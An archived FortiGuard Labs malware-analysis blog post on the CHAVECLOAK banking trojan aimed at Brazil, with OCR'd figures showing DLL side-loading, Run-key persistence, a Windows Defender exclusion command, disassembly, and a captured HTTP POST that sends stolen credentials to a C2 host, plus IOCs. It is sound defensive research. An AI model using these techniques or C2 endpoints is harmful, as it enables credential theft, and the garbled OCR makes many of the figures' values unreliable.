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New Banking Trojan “CHAVECLOAK?” Targets Brazil | FortiGuard
Labs

By Cara Lin

Published: 2024-03-04 - Archived: 2026-04-05 18:02:50 UTC

Affected Platforms: Microsoft Windows
Impacted Users: Microsoft Windows
Impact: Controls victim’s device and collects sensitive information

Severity Level: High

FortiGuard Labs recently uncovered a threat actor employing a malicious PDF file to propagate the banking Trojan
CHAVECLOAK. This intricate attack involves the PDF downloading a ZIP file and subsequently utilizing DLL side-loading
techniques to execute the final malware. Notably, CHAVECLOAK is specifically designed to target users in Brazil, aiming

to steal sensitive information linked to financial activities.

Figure 1 shows the detailed flow of this cyber threat.
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Figure 1: Attack flow

In the South American cyberthreat landscape, banking trojans employ a range of tactics, such as phishing emails, malicious
attachments, and browser manipulation. Notable examples include Casbaneiro (Metamorfo/Ponteiro), Guildma, Mekotio,
and Grandoreiro. These trojans specialize in illicitly obtaining online banking credentials and personal data, posing a
significant threat to users in countries like Brazil and Mexico. The CHAVECLOAK's Command and Control (C2) server

telemetry is shown in Figure 2. In this blog, we will elaborate on the details of the malware.
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Figure 2: Telemetry

Initial Vector PDF

The PDF, shown in Figure 3, claims contain documents related to a contract, with instructions written in Portuguese. It lures

its victims to click a button so they can read and sign the attached documents. However, a malicious downloader link is

discreetly embedded within the stream object, as shown in Figure 4, which reveals the decoded URL. This URL undergoes

processing via the free link shortening service “Goo.su,” ultimately leading to a redirect at
hxxps://webattach.mail.yandex.net/message_part_real/NotaFiscalEsdeletronicasufactrub66667kujhdfdjrWEWGFG09t5H6854JHGJUU
for downloading the ZIP file. Upon decompression, the file yields the MSI file

“Notafiscal GFGJKHKHGUURTURTF345.msi.”

DocuSign

Owli enviou-ihe um documento para analise e assinatura

ANALISAR DOCUMENTOS

Owli
natur di.com.br

Ola

Vocé esta recebendo da Kitani Locacdo e Comercio, documentos referentes ao seu
contrato para ler e assina-los. Confira seus dados pessoais e do imovel, leia
atentamente as clausulas e siga os passos abaixo para assinar o documento

- Aceite 0s termos de assinaturas e registros eletronicos e cligue no botdo amarelo™
(Caso vocé esteja assinando fora do Owili, vocé deve clicar no botdo amarelo acima para
dar inicio ao processo)

- Clique em Iniciar,

- Clique em Rubricar, escolha o tipo de assinatura e rubrica, ou a desenhe,

- Rubrigue todas as paginas;

- Assine no campo de assinatura indicado

- Clique em concluir topo da tela.

Figure 3: The malicious PDF file
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obj 12 ©

Containing /ObjStm: 1 ©
Type: /Action
Referencing:

<<
/Type [Action
/S JURI
JURI (https://goo.su/FTD9ow0)

> >

Figure 4: The embedded URL

MSI Installer

Following the decompression of the MSI installer, we uncovered multiple TXT files related to settings for different
languages, a legitimate execution file, and a malicious DLL named “Lightshot.dll.” Notably, the modified date for this DLL

file is more recent than that of all the other files in the installer, further emphasizing its unusual nature.

5 ] j:njj 36A\NotaFiscalEsdeletronicasufactrub66667kujhdfdjrWEW
Name Size Modified

| it.txt 11311 2019-07-02 18:39

| ja.txt 2100 2019-07-02 18:39

' | ka.txt 14334 2019-07-02 18:39

| ko.txt 11110 2019-07-02 18:39

| ku.txt 11282 2019-07-02 18:39

NotafiscalGFGJK @ learnmore.url 60 2019-07-02 18:39
HKH;‘;L:ELUW @ learnmore_ru.url 63 2019-07-02 18:39
' i Lightshot.dll | 4563968 2024-01-3115:10

[®] Lightshot.exe 499624 2019-07-21 23:21

| It.txt 9229 2019-07-02 18:39

] axt 7252 2019-07-02 18:39

Figure 5: The decompressed MSI file

Examining the MSI installer reveals its entire configuration, which is written in Portuguese. It executes the file
“Lightshot.exe,” extracting and depositing files at “%AppData%\Skillbrains\lightshot\5.5.0.7,” as shown in Figure 6.

The file “Lightshot.exe” then deploys DLL sideloading techniques to activate the execution of the malicious DLL,
"Lightshot.dll." This technique lets the legitimate executable load and run the malicious code discreetly, facilitating
unauthorized activities like data theft. The actions conducted by “Lightshot.dll” involve covert and harmful operations,
including the unauthorized acquisition of sensitive information. DLL sideloading poses a significant security threat by

allowing the malware to exploit legitimate processes for nefarious purposes without detection.
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&% Notafiscal GFGJKHKHGUURTURTF345.msi - Orca

File Edit Tables
DEHd & B8R 5

Transform

Tools

View Help

T=B 3

Tables A | Action Description
Al_ConditionedProperty CostFinalize Calculando o espaco necessario
ActionText Costlnitialize Calculando o espago necessario
AdminExecuteSequence InstallValidate Validando a instalagdo
AdminUlSequence CreateShortcuts Criando atalhos
AdvtExecuteSequence MsiPublishAssemblies Publicando informagdes de montagem
Binary PublishComponents Publicando componentes qualificados
BootstrapperUISequence PublishFeatures Publicando funcienalidades do preduto
CheckBox PublishProduct Publicando as informagdes do produto
ComboBox RegisterClassinfo Registrando servidores de classe
Component RegisterExtensioninfo Registrando servidores de extensdo
Condition RegisterMIMEInfo Registrando as informagdes MIME
Control RegisterProgldinfo Registrando identificadores do programa
ControlCondition AppSearch Procurando aplicagdes instaladas
ControlEvent LaunchCenditions Avaliando condigdes de inicio
CreateFolder ProcessComponents Atualizando o registro de componentes
CustomAction InstallServices Instalando novos servicos
Dialog UnmoveFiles Removendo arquivos movidos
Directory Advertise Mostrar a aplicagdo
Error AllocateRegistrySpace A zlocar espago no registro
EventMapping CCPSearch Procurando produtos necessarios
Feature RollbackCleanup Removendo arquivos de backup
> AppData » Roaming » Skillbrains > lightshot » 5.5.0.7 v | O
~
[J Name Date modified Type v Size
locales 2024-02-07 6:35 PM File folder
D DXGIODScreenshot.dll 2019-07-22 12:21 AM Application exten... 34 KB
9 learnmore 2019-07-02 7:39 PM Internet Shortcut 1KB
'3 learnmore_ru 2019-07-02 7:39 PM Internet Shortcut 1KB
D Lightshot.dll 2024-01-31 3:10 PM Application exten... 4,457 KB
Fd Lightshot.exe 2019-07-22 12:21 AM Application 438 KB
net.dll 2019-07-22 12:21 AM Application exten... 521 KB
uploader.dll 2019-07-22 12:21 AM Application exten... 216 KB

Figure 6: The “ActionText” in the MSI file and the extracted folder
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E8 DC F7 FE FF call sub_48D8F@
3 try {
C7 45 FC @ 92 2o 0o mov [ebp+var_a], @
83 CB FF or ebx, @FFFFFFFFh
8B 45 EC mov eax, [ebptvar_14]
83 78 F4 @@ cmp dword ptr [eax-8Ch], @
75 @87 jnz short loc_41E12E
] 1
Y
i s 5
loc_41E12E:
68 1C 28 44 8@ push offset aLightshotDll ; "\\Lightshot.dll"
BD 55 EC lea edx, [ebptvar_l14]
8D 4D Fe lea ecx, [ebp+pszPath]
E8 B2 92 FE FF call sub_4873F8
83 C4 B4 add esp, 4
FF 75 F@ push [ebptpszPath]  ; pszPath
FF 15 52 A2 43 @@ call ds:PathFileExistsW
85 Ce test eax, eax
74 79 jz short loc 41E1C7

&

push [ebp+pszPath] 3 lpLibFileName
FF 15 84 Al 43 @@ call ds:LoadLibraryw
89 46 64 mov [esi+s4h], eax
FF 15 8C A2 43 @@ call ds:GetLastError
8B 46 64 mov eax, [esi+54h]
85 (@ test eax, eax
74 6@ jz short loc 41E1C7
'y
BB 3D B4 Al 43 @@ mow edi, ds:GetProcAddress
68 6C 28 44 00 push offset aMakescreenshot ; “MakeScreens
58 push eax 3 hModule
FF D7 call edi ; GetProcAddress
A9 4R 70 LL leci+7@hl. eax

Figure 7: Load malicious DLL “Lightshot.dll”

CHAVECLOAK Banking Trojan “Lightshot.dll”

Initially, the process invokes “GetVolumelnformationW” to gather details about the file system and the associated volume
related to the specified root directory. It utilizes the HEX value obtained to generate a log file in “%AppData%[HEX
ID]JIIG.log.” Following this, it adds a registry value named “Lightshot” to
“HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run,” ensuring automatic execution of the
“Lightshot.exe” program upon user login. Once logging and persistence are completed, it sends an HTTP request to
hxxp://64[.]1225[.]132[.]124/shn/inspecionando.php. If geo-checking confirms that the victim is in Brazil, it logs data on the

server, accessible through the path “clients.php,” as shown in Figure 8.

<« 8] O 64.22532.24/5hnyclientesphp

e February
de February

o
- Palotina - Paran

Figure 8: The Check-in victim list
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It then periodically monitors the foreground window using the APIs “GetForegroundWindow” and “GetWindowTextW.”
Upon identifying a window and confirming its name against a predefined list of bank-related strings, the malware

establishes communication with its Command and Control (C&C) server.

The malware facilitates various actions to steal a victim's credentials, such as allowing the operator to block the victim's
screen, log keystrokes, and display deceptive pop-up windows, as shown in Figure 10. The malware actively monitors the
victim's access to specific financial portals, including several banks and Mercado Bitcoin, which encompasses both

traditional banking and cryptocurrency platforms.

BA B4FEL1303 mov edx,lightshot.313FEG4

B45 FC mov eax,dword ptr ss:|febp-4]

E& ABEAFFFF call lightshot. 3130984 -

8885 EOFBFFFF mov eax,dword ptr ss:[[ebp-420] [dword ptr ss: [ebp-420]]1:L"Aplicative
50 push eax eax:L"aplicativo &

BDES DCFBFFFF lea eax,dword ptr ss:|[lebp-424]

EB 32FEFFFF €all lightshot.313F350 ————

BB93 DCFBFFFF mov edx,dword ptr ss:[lebp-424]

89 01000000 mov ecx, 1

58 pop eax = w0 : -

E8 T1B9D4FF call lightshot.2ES8AEAD

85C0 test eax,eax ax L Ap1icativo -

OF8E C6000000 jle lightshot.313F5FD

Bba 00 push 0

68 BBFE1303 push Tlightshot.313FEBS 313FeB8: "cmd.exe /c taskkill /F /IM NavegadorExclusiva .exe"
E8 S5I5ADSFF c€all <IMP._&wWinExec>

E8 E4FGFFFF call lightshot.313ec2c

8845 FC mov eax,dword ptr ss:[[ebp-4]

Be80 DOO30000 mov eax,dword ptr ds:[eax+3D0] eax:L"Aplicative "

3302 xor_edx, edx

Figure 9: Compare the Window's text and the target string

®

MERCADO
BITCOIN

Procedimento de seguranca

Verificacao de seguranca;

Atencao!
Verificando se o seu computador é seguro para acessar sua conta, aguarde...

Figure 10: The deceptive pop-up windows

After obtaining the user's entered login data, the malware initiates communication with its Command and Control (C2)
server at hxxp://comunidadebet20102[.]hoptol.]org. Depending on the bank associated with the stolen data, it uploads the
information to distinct paths: “04/M/” for Mercado Bitcoin.
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EE 21 F4 FF FF call sub_GBEEFS

FF 75 A3 sush [ebpsuar 58] 3 Leamsm
an 55 A lea edx, [ebptvar_5C]

Al 38 BF &D 20 maw eax, off_BDBFES

82 0@ may eax, [eax]

EZ EB 70 00 88 call sub_GBEBDS

FF 75 A4 push [ebpsvar_5C] 3 "Merc-BTC-1.]-ACCOUNTINGPC-7C1C56F7™
8D 55 AB lea edx, [ebp+var @]

B8 E3 82 6B @9 maw eax, offset dword_6BE2ES
EB FF F3 FF FF call sub_GBEEFS 3 Cmd.txt?
FF 75 AB push  [ebpavar 58]

a0 45 E@ lea eax, [ebptvar_2@]

BA B4 B2 B2 28 maw edx, 4

EB OF 38 D5 FF call suly_4BABAZ

E3 84 EB D6 FF call sub_426353

DD 5D E8 fstp [elpsvar_18]

ag waik

FF 75 EC push  dword ptr [ebpivar_18:4]
FF 75 E8 push dwerd pte [ebptvar_18]

8D 55 E4 lea edx, [ebptvar 1C]

Al EC 8F 6D @8 mowv eax, off_EDSFEC

E& 563 F3 D& FF call sub_4273383

8D 45 oC lea eax, [ebptvar 64]

82 40 B2 mov ecx, [ebptvar_1C]

88 55 EB mov edx, [ebp+var_2@]

E8 ED 2F D5 FF call suls 48828

a8 55 oC mov edx, [ebptvar_64] ; "http://comunidadebet28182.hopto.org/SH/ /84 M/ Merc-BTC-1. ) -ACCOUNTINGPL - 7C1CSEF7Cmd . txt 23:35:58 PM'
88 45 FC mov eax, [ebp+var_4]

E8 9E FD FF FF call suls_BBFEDC

Figure 11: The assembly code that uploads stolen data

It then transmits a POST request containing essential system details and configures the account information within the

“InfoDados” parameter, as seen in Figure 12.

POST /SH/cnx.php HTTP/1.0

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 289

Host: comunidadebet20182.hopto.org

Accept: text/html, application/xhtml+xml,application/xml;q=6.9,*/*;q=0.8
User-Agent: Mozilla/3.0 (compatible; Indy Library)

idOp=1.J&idMec=EA-8B-D3-34-E4-48&IDhd=7C1C56F7&IDpc=ACCOUNTINGPC&InfoDados=%8D%0A- - -%3CBrad. JU%3E- - -
%OD%OAUS%3A+ABCDEFGHI JK¥OD%BOASN%3A+test1234%0D%0OA- - -%3CBrad . JUX3E - - -%OD%OAEA-BB-D3-34-

E4-48+7C1C56F 7+ACCOUNTINGPC%OD%0A2024-02-07+1%3A41%3A27+PM%0OD%OA%OD%OALT ipoInfoHTTP=Brad_JUJU&chave=12
3HTTP/1.1 200 OK

Date: Thu, 08 Feb 2024 00:41:81 GMT

Server: Apache/2.4.18 (Ubuntu)

Content-Length: 4

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

Figure 12: The HTTP POST request for stolen data

Older Variant

Additionally, we acquired an older variant of CHAVECLOAK from the check-in site. Its process differs from the previous

one, as the ZIP file contains a Delphi executable file embedding the final payload in the RCData section.
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2 Cursor
J String Table
~—[|} RCData
wr DVCLAL: 0D
wr PACKAGEINFO : 0
\__l r PLATFO 3
—-ﬂﬁ [ & TPORM1:0 |
J Cursor Group
. Version Info
J Manfest

Fact079858vibfgr.
rar exe

Figure 13: The payload in TFORM1

1| object Form1: TForm1
2| Left=0

3| Top=0

4| AlphaBlend = True

5| AlphaBlendValue = 1
6| BorderStyle = bsNone
7| Caption = 'Form1’

8| ClientHeight = 394

9| ClientWidth = 997
Color = dBtnFace

11| Font.Charset = DEFAULT_CHARSET

12| Font.Color = dWindowText

13| Font.Height = -11

14| Font.Name = Tahoma'

13| Font.Style =[]

18| QOldCreateOrder = False

17| PixelsPerInch = 96

18| TextHeight = 13

19| object Memol: TMemo

0| Left=24

21| Top = 88

22| Width = 457

23| Height = 233

24| Lines.Strings = (

25 '4D5A50000200000004000F00FFFFO000B8000000000000004000
26 '0000000000000000000000000000000000000000000000000000)
27 'BA10000E1FB409CD21B8014CCD2190905468697320707 26F677
28 74206265207 2756E207 56E6465722057696E33320D0A2437000(
29 LT T T O T TV T TV T T T T T T AT AW T TWTAT AT T WY

It begins by retrieving system information to establish a new folder and stores the payload at “C:\Program Files

(x86)\Editor-GH-[HEX ID]\Editor-[HEX ID].exe.” Simultaneously, it creates a log file, establishes persistence, and utilizes
the PowerShell command “Add-MpPreference —ExclusionPath” to exclude the path “Editor-GH-[HEX ID]” from Windows
Defender scans. Subsequently, it sends a check-in request to hxxp://64[.]225[.]32[.]24/desktop/inspecionando.php. Notably,

this variant appears to be an earlier version, indicated by the victims' check-in date starting in 2023.

JHEEY_CURRENT_USER\SOFTWAREWMicrosoft\Windows\ CurrentVersion'\Run

PushMotifications ~ || Name
RADAR at] (Default)
Eff’_‘m" abiEditor-7C1C-56FT-reg-V.1.28157 |

< &)

Thursday, 2
Thursday, - de
Thursday, 14 de d
Thursday, de
Thursday, er de 2
Thursday, de 2023 as
2023 as 01:
e 2023 as 01:
2023 as O
mber de "02‘ s 15: 03 27 -

w@@w”

e
Friday, 15 de Dec

Monday, 18 de Decemb

Monday, 18 de December d
Monday, 18 de December de 2

- Monday, 18 de December de
Monday, 18 de December de
Tuesday, 19 de December de 20:

0 de December de 2
sday, 18 de January 2024 as 10
Monday, 05 de February de 2024 as 2

Figure 15: The Check-in user list

Type Data
REG_SZ (value not set)
REG_SZ C\Program Files (x86)\Editor-GH-TC1C-56FT\Editor-TC1C-56F7.exe -reg

- NAVEGADOR DESCONHECIDO - Canaa Dos Carajas - Para - Brazil
- NAVEGADOR DESCONHECIDO - Campinas - Sao Paulo - Brazil
- - NAVEGADOR DESCONHECIDO - Vitéria da Conquista - Bahia - Brazil
- - NAVEGADOR DESCONHECIDO - Curitiba - Para - Braz
- = NAVEGADOR DESCONHECIDO - Belo Honzonte - Minas Gerais -
- NAVEGADOR. DESCONHECIDO - Caldas Nowvas - Goias - Brazil
NHEFII.'.IO - Camamu - Bahia - Brazil
- Belo Horizonte - 1as G
wdows 7 - Mozila Frrel do Paulo - 5ao Paulo - Brazil
- NAVEGADOR DESCONHECIDO - Teresina - Piaui - Brazil
DESCONHECIDO - Belo Honizonte - Minas Gerais - Braz
- NAVEGADOR DESCONHECIDO - Vitéria - Espirito Santo - Brazil
- NAVEGADOR DESCONHECIDO - Angra dos Reis - Rio de Janeiro -
NAVEGADOR DESCONHECIDO - Eldorado dos Carajas
- N.‘\VEL,-'\DOR DECCONHE: IDO - -'\I.;H:]omhaa - Bahia - Br.
- Pemnambuco - Brazil
| - Mato Grosso do
- Goias - Brazil
- Macae Rio de Janeiro - Brazil
'ADOR DESCONHECIDO - Araguaina - Tocantins - Brazil
- - NAVEGADOR DESCONHECIDO - Rio Claro - Sao Paulo - Brazil
-4 - - NAVEGADOR DESCONHECIDO - Garanhuns - Pernambuco - Brazil
39 - - NAVEGADOR DESCONHE 0O - - - Brazil
- NAVEGADOR DESCONHECIDO - Suzano - Sao Paulo - Brazil
- NAVEGADOR DESCONHECIDO - S3o Paulo - Sao Paulo - Brazil

Brazil

Braj

Sul - Bra
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It also actively observes user behavior, captures front window text, and harvests personally identifiable information from
specified banking and Bitcoin login pages, including names, passwords, and keystrokes. It then transmits the stolen data to

the Command and Control (C2) server at hxxp://mariashow[.]ddns[.]net/dtp/cnx.php.

0019FA40 O037E6ALIC L"http://mariashow.ddns.net/dcp/cnx.php”

10 0019FA44 00000000

0019FA48 028427CC L"chave=123"

12 0019FA4C 0284281C L"TipoInfoHITP=Brad FIFI"

13 0019FAS0 0274CA6C L"\r\nTK.celular\r\n---<Brad.FI>---\r\nAg: 1233\r\nCt: 12333-3\r\nS4:
1234\r\n---<Brad.FI>---\r\nhttps:// . - 1. 3£ 2AGN=1233&DIGCTA=3&4CTA=1
234\r\nEA-8B-D3-34-E4-48 7C1C56F7 ACCOUNTINGPC\r\n2024-02-07 8:56:18 PM\r\n\z\n"

14 0019FAS4 0274CC7C L"InfoDados=\r\nTK.celular\r\n---<Brad.FI>---\r\nAg: 1233\r\nCt: 12333-3\r\nS4:
1234\r\n---<Brad.FI>---\r\nhttps:/ 0.3SE?AGN=12334DIGCTA=34CTA=1
234\r\nEA-8B-D3-34-E4-48 7C1CS6F7 ACCOUNTINGPC\r\n2024-02-07 8:56:18 PM\r\n\zr\n"

0019FAS8 0284231C L"IDpc=ACCOUNTINGPC"

0019FASC 028422CC L"IDhd=7ClCSEF7"

0019FA60 0284227C L"idMec=EA-8B-D3-34-E4-48"

0019FA64 0284222C l'."idOp’l.D"'

Figure 16: The HTTP data for sending account information

Conclusion

The emergence of the CHAVECLOAK banking Trojan underscores the evolving landscape of cyberthreats targeting the
financial sector, specifically focusing on users in Brazil. Utilizing sophisticated techniques, including malicious PDFs, ZIP
file downloads, DLL sideloading, and deceptive pop-ups, it joins a cohort of prominent banking trojans that primarily target
South America. CHAVECLOAK employs Portuguese language settings, indicating a strategic approach to the region, and
actively monitors victims' interactions with financial portals. CHAVECLOAK exemplifies the sophistication of
contemporary banking trojans, necessitating continual vigilance and proactive cybersecurity measures to safeguard against

evolving threats within the financial landscape of South America.
Fortinet Protections
The malware described in this report are detected and blocked by FortiGuard Antivirus as:

PDF/Agent.72C4!tr
W32/Banker.CNX!tr

FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard AntiVirus service. The FortiGuard AntiVirus engine

is a part of each of those solutions. As a result, customers who have these products with up-to-date protections are protected.
The URLs are rated as “Malicious Websites” by the FortiGuard Web Filtering service.
The FortiGuard CDR (content disarm and reconstruction) service can disarm the malicious macros in the document.

We also suggest that organizations go through Fortinet’s free Fortinet Certified Fundamentals (ECF) in cybersecurity
training. The training is designed to help end users learn about today's threat landscape and will introduce basic

cybersecurity concepts and technology.

FortiGuard IP Reputation and Anti-Botnet Security Service proactively block these attacks by aggregating malicious source
IP data from the Fortinet distributed network of threat sensors, CERTs, MITRE, cooperative competitors, and other global

sources that collaborate to provide up-to-date threat intelligence about hostile sources.

If you believe this or any other cybersecurity threat has impacted your organization, please contact our Global FortiGuard

Incident Response Team.

I0Cs

1P

64[.]225[.132[.]24
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URLs

hxxps://webattach.mail.yandex.net/message_part_real/NotaFiscalEsdeletronicasufactrub66667kujhdfdjrfWEWGFGO09t5H6854JTHGJUU
hxxps://goo[.]sw/FTD9owO

Hostnames

mariashow[.]ddns[.]net

comunidadebet20102[.]hoptol.]org
Files:

51512659f639e2b6e492bba8f956689ac08f792057753705bf4b9273472c72c4
48c9423591ec345fc70f31ba46755b5d225d78049cfb6433a3cb86b4ebb5a028
4ab3024e7660892ce6e8ba2c6366193752f9c0b26beedca05¢57dcb684703006
131d2aa44782c8100c563cd5febf49fcb4d26952d7e6e2ef22f805664686ffff
8b39baec4b955e8dfa585d54263fd84fead41a46554621ee46b769a706f6f965¢
634542fdd6581dd68b88b994bc2291bf41c60375b21620225a927de35b5620f9
2calb23be99b6d46celbbd7ed16ea62c900802d8efff1d206bac691342678e55

Source: https://www.fortinet.com/blog/threat-research/banking-trojan-chavecloak-targets-brazil
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